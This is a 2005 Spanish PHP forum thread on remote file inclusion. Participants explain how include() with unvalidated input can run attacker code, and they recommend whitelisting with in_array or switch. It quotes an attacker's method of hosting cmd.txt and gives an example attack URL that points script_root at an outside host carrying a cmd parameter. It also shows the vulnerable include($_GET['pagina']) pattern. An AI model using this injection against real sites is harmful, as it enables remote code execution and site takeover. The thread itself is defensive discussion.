Foros del Web » Programando para Internet » PHP »

Comentarios PHP Remote File Inclucion

Estas en el tema de Comentarios PHP Remote File Inclucion en el foro de PHP en Foros del Web. Es posible mediante una Include poder hackerar mi web y bajarme ek Host..... include"$page"; Miren : http://es.geocities.com/alexis_rcp/paper1.txt a que se debe... Espero sus comentarios Saludos...
  #1 (permalink)  
Antiguo 24/08/2005, 12:22
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Exclamación Comentarios PHP Remote File Inclucion

Es posible mediante una Include poder hackerar mi web y bajarme ek Host.....

include"$page";

Miren :
http://es.geocities.com/alexis_rcp/paper1.txt

a que se debe...

Espero sus comentarios

Saludos

Última edición por helthon; 24/08/2005 a las 13:40
  #2 (permalink)  
Antiguo 24/08/2005, 15:15
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Si la directiva allow_url_fopen esta en ON si es posible, siempre y cuando el archivo remoto no tenga extensión .php.

Saludos ;)
  #3 (permalink)  
Antiguo 24/08/2005, 15:57
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 15 años, 11 meses
Puntos: 126
mm Hombre .. si tu haces:

http://www.tusitio.com/abre_pagina.p...tmalicioso.php

y "abre_pagina.php" hace:

Código PHP:
<?
include($_GET['pagina']);
?>
así tendrías el problema que menciona el Sr. del "paper1.txt" si como menciona $thisone usas "allow_url_fopen" a ON ..

Pero lo más sano es que NUNCA! hagas eso sino que "valides" que archivos vas a incluir de esa forma .. por ejemplo puedes empezar filtrando esa variable "pagina" para no aceptar http:// .. tampoco un ../ .. o similar y así restringirte a tu própio HOST las llamadas de páginas. En otros casos puedes usar un array de páginas autorizadas y validar contra ese array (in_array() por ejemplo) si está "$pagina" en tu lista (en el array). En fin .. hay muchos métodos, lo importante y primera premisa es "NUNCA! confiar en el valor que pueda llegarte de forma externa", como podría ser esa $pagina (más encima si usas register_globals a ON peor todavía).

Un saludo,
  #4 (permalink)  
Antiguo 24/08/2005, 17:40
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Llevo tiempo sin programar pero si no recuerdo mal si tiene extensión .php no se ejecuta en el server victima, pero si tu lo dices...

Respecto a lo de validar que contiene página, creo que lo mas sencillo en un simple switch()

Saludos ;)
  #5 (permalink)  
Antiguo 24/08/2005, 17:42
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas de nuevo.

Cita:
- Bien como uso esto?

Imaginemos que la web es http://webvulnerable.com/index.php?p...hivo-a-incluir
Lo que haremos sera incluir nuestro codigo (CMD.TXT),lo guardaremos con extencion
txt,gif,jpg,dat para que se ejecute en la website vulnerable, ya que si lo guardamos
con extencion php se ejecutara en nuestro servidor
.Una ves guardado nuestro codigo
lo subimos a nuestro webserver (cuenta host, website).
No había leido el texto. Creo que queda claro :P
  #6 (permalink)  
Antiguo 24/08/2005, 19:40
 
Fecha de Ingreso: noviembre-2003
Ubicación: Torrelodones
Mensajes: 134
Antigüedad: 14 años, 1 mes
Puntos: 0
Hola,

Muy interesante el tema. Me gustaria dar mi opinion y espero que sea la acertada sino corrijanme, jeje

Para empezar en "el caso real" que aparece y comenta el autor del texto veo que el webmaster al que hackean nombra los archivos acabados en .inc.php "inc/functions.inc.php" a mi entender es un error si no las va a ejecutar como paginas individuales php pero si son funciones que va a incluir en otra pagina PHP deberia renombrarlo a .php.inc quedando asi "inc/functions.php.inc" de este modo si algun intruso introduce directamente la direccion del archivo, el codigo que contiene dicho archivo no se ejecutaria. De este modo "nuestro" hacker no podria jodernos con su metodo

http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://tuweb.com/cmd.txt?&cmd=comando

puesto que no se ejecutaria como una pagina PHP. Vamos, creo yo que de este modo se soluciona y si me equivoco agradeceria que me corrigieran.
__________________
Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com
  #7 (permalink)  
Antiguo 24/08/2005, 20:19
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Bueno, si no recuerdo mal los archivos .inc se muestran en los navegadores como puro texto. Entonces no tendría sentido...pero vuelvo a decir que no hay que complicarse la vida con esas cosas. Usamos un switch() y punto :)

Tampoco hagais mucho caso a textos escritos por personas como esta que van de hackers por la vida. No hay mas que ver su web. Flipo con algunas personas. La gente se aburre mucho y se cree sabia por defacear un website, bueno...da igual.

Saludos ;)
  #8 (permalink)  
Antiguo 25/08/2005, 05:27
 
Fecha de Ingreso: noviembre-2003
Ubicación: Torrelodones
Mensajes: 134
Antigüedad: 14 años, 1 mes
Puntos: 0
Pero una pregunta $thisone, al renombrar los archivos a .php.inc los muestra como texto y no los ejecuta como codigo PHP por lo que todo lo que metas de mas en la URL no se va a ejecutar, asi que no le funcionaria, no?? Lo malo es que podria ver tu codigo
__________________
Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com
  #9 (permalink)  
Antiguo 25/08/2005, 06:22
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Pues no se...lo suyo sería que hicieras pruebas y las mostraras aquí, yo ahoramismo no caigo :)

Saludos ;)

Última edición por $thisone; 25/08/2005 a las 06:35
  #10 (permalink)  
Antiguo 25/08/2005, 06:59
 
Fecha de Ingreso: noviembre-2003
Ubicación: Torrelodones
Mensajes: 134
Antigüedad: 14 años, 1 mes
Puntos: 0
Te comento el porque lo digo. Este "hacker" se ayuda de la sentencia INCLUDE de PHP, entonces mete el codigo maligno en la url y al ejecutarse la pagina PHP ese codigo va a parar al Include. Si esa pagina estuviera nombrada como .php.inc ese codigo no se ejecutaria y nunca llegaria al include puesto que no seria una pagina PHP y solo mostraria el codigo texto. Esto es lo que yo creo q sucederia pero no estoy seguro del todo asi que intentare hacer la prueba.

Otra cosa que me gustaria aclarar, esto solo se podria utilizar en el caso real del hacker puesto que utiliza esos scripts para entrar pero si utilizara una pagina PHP sin ser un script que se puede "ocultar" habria que hacer lo que les ha comentado Cluster o $thisone

Espero haberme explicado
Un saludo
__________________
Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com
  #11 (permalink)  
Antiguo 25/08/2005, 07:04
Avatar de compositor19  
Fecha de Ingreso: junio-2005
Ubicación: Zaragoza
Mensajes: 215
Antigüedad: 12 años, 5 meses
Puntos: 2
yo a los includes los nombro - include.inc.php - y no hay ningun problema de que m puedan ver el contenido...

salu2
__________________
php user ;)
  #12 (permalink)  
Antiguo 25/08/2005, 07:10
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Bueno, pensando un poco lo que dices no puede hacerse...hombre, puedes nombrar los archivos que quieres incluir como php.inc pero...no serviría de mucho, porque el archivo que corre riesgo es el que llama a la función include() y no los que son incluidos.

Después, si te refieres a renombrar el archivo que llama a la función include() esto si que es imposible, porque solo lo mostraría como texto y no ejecutaría el código, con lo cual sería como no tener archivo. Lo explico de forma liosa xD..pero piensalo y te darás cuenta.

Añado que para realizar este ataque lo normal es que el servidor tenga que tener register_global=on. Y bueno, un servidor mas o menos bien configurado no lo tendría, por esto mismo, por seguridad. Por eso es conveniente usar siempre las variables predefinidas :)

Saludos ;)
  #13 (permalink)  
Antiguo 25/08/2005, 07:12
Avatar de compositor19  
Fecha de Ingreso: junio-2005
Ubicación: Zaragoza
Mensajes: 215
Antigüedad: 12 años, 5 meses
Puntos: 2
$thisone, a quien le dices? :p
__________________
php user ;)
  #14 (permalink)  
Antiguo 25/08/2005, 07:17
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

@ Geri xDDD.
Lo que dices compositor19, coño es lógico, lo que Geri dice es de nombrarlos así archivo.php.inc

Es como si a mi me da por nombrar un archivo.txt.pdf.html.php
El archivo será SIEMPRE PHP :)

Saludos ;)
  #15 (permalink)  
Antiguo 25/08/2005, 07:37
Avatar de compositor19  
Fecha de Ingreso: junio-2005
Ubicación: Zaragoza
Mensajes: 215
Antigüedad: 12 años, 5 meses
Puntos: 2
jaja claro, si el archivo es .php, todo lo q vaya dentro especifico de php no se vera

salu2 :p
__________________
php user ;)
  #16 (permalink)  
Antiguo 25/08/2005, 08:03
 
Fecha de Ingreso: noviembre-2003
Ubicación: Torrelodones
Mensajes: 134
Antigüedad: 14 años, 1 mes
Puntos: 0
Admito que soy un poco duro de mollera pero veamos a ver si me explico en lo que quiero decir. Un archivo acabado en .php se va a ejecutar como una pagina PHP pero un archivo terminado x ejemplo en .php.inc si alguien la llama directamente mostraria lo que contiene, es decir, el codigo. Por ejemplo, yo tengo un script que me borra toda la base de datos(borrar.php.inc) y que lo quiero llamar cuando pulso un boton(index.php)

borrar.php.inc
-----------------
<?
mysql_query("delete.....");
?>
----------------

index.php
-----------------

<?
if(isset($_POST['borrar'])){
include("borrar.php.inc")//EJECUTA EL CODIGO DE BORRAR.PHP.INC
}else{
?>
<form .....

<input type="submit" name="borrar" value="Borrar">

</form>
<?
}
?>

Si alguien se saltase la pagina index.php e introduciera directamente en su url http://misitio.com/borrar.php.inc le apereceria el mysql_query... pero no se ejecutaria, en cambio si lo tuviera nombrado como borrar.inc.php ejecutaria el QUERY y borraria la base de datos

Espero haberme explicado y si no tengo razon perdonen mi cabezoneria

Un saludo
__________________
Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com
  #17 (permalink)  
Antiguo 25/08/2005, 08:08
 
Fecha de Ingreso: noviembre-2003
Ubicación: Torrelodones
Mensajes: 134
Antigüedad: 14 años, 1 mes
Puntos: 0
Joder, disculpen pero tienen ustedes razon. Es que no se porque probandolo en localhost me aparecia el codigo(cosa rara) y subiendolo a un servidor se ejecutaba. De nuevo disculpenme

Un saludo
__________________
Conoce gente nueva, haz amigos, aplicaciones para moviles, juegos online,... Y todo gratis!!! :si: www.cuelate.com
  #18 (permalink)  
Antiguo 25/08/2005, 09:36
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Gracias a todos por la ayuda les informo lo siguiente mi web es :
http://www.tekkenperu-oficial.com/ esta en un hosting alkilado

Lo puedes ver desde ahi :http://72-29-76-55.dimenoc.com/~tekken/

como veras el codigo es el simple y comun usado... ahora yo solo uso
<?php include('encuesta.php'); ?> que llama a toda la encuesta pero dentro de eso no figura ninguna llamada a la B.D.

A que se deberia el porque de bajarse esa web del server.

Otro dato si fuera asi de vulnerable el PHP de que manera lo puedo proteger..??
  #19 (permalink)  
Antiguo 25/08/2005, 09:54
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Amigo Geri

en relacion a tu ejemplo eso lo pueden ejecutar mediante una pagina externa, borrar mi B.D. MySQL desde otra pagina....??

Para ello deberian de saber el nombre de mi B.d., User y Pass para poder realizar esto...

eso es asi..??
  #20 (permalink)  
Antiguo 25/08/2005, 09:57
Avatar de compositor19  
Fecha de Ingreso: junio-2005
Ubicación: Zaragoza
Mensajes: 215
Antigüedad: 12 años, 5 meses
Puntos: 2
y deberian saber el nomrbe el archivo (si lo tienes) y donde esta...
__________________
php user ;)
  #21 (permalink)  
Antiguo 25/08/2005, 11:00
Avatar de DINASEN  
Fecha de Ingreso: marzo-2003
Mensajes: 997
Antigüedad: 14 años, 9 meses
Puntos: 1
Pero entocnes para lo que sabiamos del tema, podeis lelgar a un texto en comun por que yo me perdi un poko con tanto lio...

si no entendi mal lo que no se debe hacer es hacer un include que carge un pagina por variable tipo
include ($mivariable);
o no es eso?¿

por favor intentemos sacar un texto en claro he pongamoslo en las faq, creoq ue estas cosas son a tener muy en cuenta, ya que te pueden tirar el trabajo de meses de trabajo en solo 5 minutos

Un Saludo
  #22 (permalink)  
Antiguo 25/08/2005, 11:33
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Ya me perdi...
que es lo recomendable al hacer el Include :

Pasar por variable la pagina <?php include($mivariable); ?>
Pasar solo la pagina <?php include('encuesta.php'); ?>
Pasar la pagina asi : <?php include('encuesta.php.inc'); ?>

Gracias


Cual de todas es la recomendable para no tener algun tipo de problemas..
  #23 (permalink)  
Antiguo 25/08/2005, 11:35
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Ya me perdi...
que es lo recomendable al hacer el Include :

Pasar por variable la pagina <?php include($mivariable); ?>
Pasar solo la pagina <?php include('encuesta.php'); ?>
Pasar la pagina asi : <?php include('encuesta.php.inc'); ?>

Cual de todas es la recomendable para no tener algun tipo de problemas..

Thank...
  #24 (permalink)  
Antiguo 25/08/2005, 12:22
 
Fecha de Ingreso: agosto-2005
Mensajes: 143
Antigüedad: 12 años, 3 meses
Puntos: 0
Holas.

Lo único que hay que hacer es una lista de las páginas que quieres permitir que se incluyan y ya esta.

Pongo un ejemplo:
Código PHP:
<?php
// logicamente aqui no hay problema
include('algo.php');


//aqui tampoco hay problema
$pagina $_GET['pagina'];
$permitidas = array('principal','noticias','algo');
if(
in_array($pagina$permitidas))
    include(
$pagina.'.php');



//aqui tampoco
$pagina $_GET['pagina'];
switch(
$pagina)
{
    case 
'principal': include('principal.php'); break;
    case 
'noticias': include('news.php'); break;
    case 
'algo': include('algo.php'); break;
    default: include(
'principal.php');
}


/* ATENCIÓN - WEEEEEEEEEEEEEEEE */
//el problema está en no saber que recibes
include($pagina); //ESTO NUNCA!!!
?>
Creo que queda claro.

Saludos ;)
  #25 (permalink)  
Antiguo 25/08/2005, 16:08
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
Gracias por todo
  #26 (permalink)  
Antiguo 26/08/2005, 07:19
O_O
 
Fecha de Ingreso: enero-2002
Ubicación: Santiago - Chile
Mensajes: 34.417
Antigüedad: 15 años, 11 meses
Puntos: 126
Solo una aclaración más ...

Código PHP:
/* ATENCIÓN - WEEEEEEEEEEEEEEEE */ 
//el problema está en no saber que recibes 
include($pagina); //ESTO NUNCA!!! 
así como mencionan .. y como se comenta NUNCA! usar así un "include()" ni un fopen() .. ni un readfile() .. ni funciones que puedan llamar a código (para ejecutarlo como es include) ni para abrirlo (como es el caso de fopen() .. readfile() .. etc).

Pero .. en ese ejemplo si -antes- y he de ahí lo importante se ha definido dicha variable .. no habrá problemas:

Código PHP:
$pagina="nose.php";
include(
$pagina); // siempre y cuando esté definido $pagina. 
Por supuesto .. el ejemplo no es de lo más "ejemplar" valga la rebundancia .. pero imaginemos el caso que tenemos ese switch($pagina) y en lugar de hacer un montón de include() por cada "case" .. definimos $pagina y luego hacemos un include ($pagina) con el valor que resultó tras pasar por el Switch() .. (vendría a ser lo mismo que el ejemplo anterior que indicó $thisone sobre el uso de in_array() ..)

Un saludo,
  #27 (permalink)  
Antiguo 26/08/2005, 12:51
Avatar de helthon  
Fecha de Ingreso: junio-2005
Ubicación: Lima
Mensajes: 549
Antigüedad: 12 años, 6 meses
Puntos: 7
De acuerdo Gracias

Gracias Cluster
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 11:05.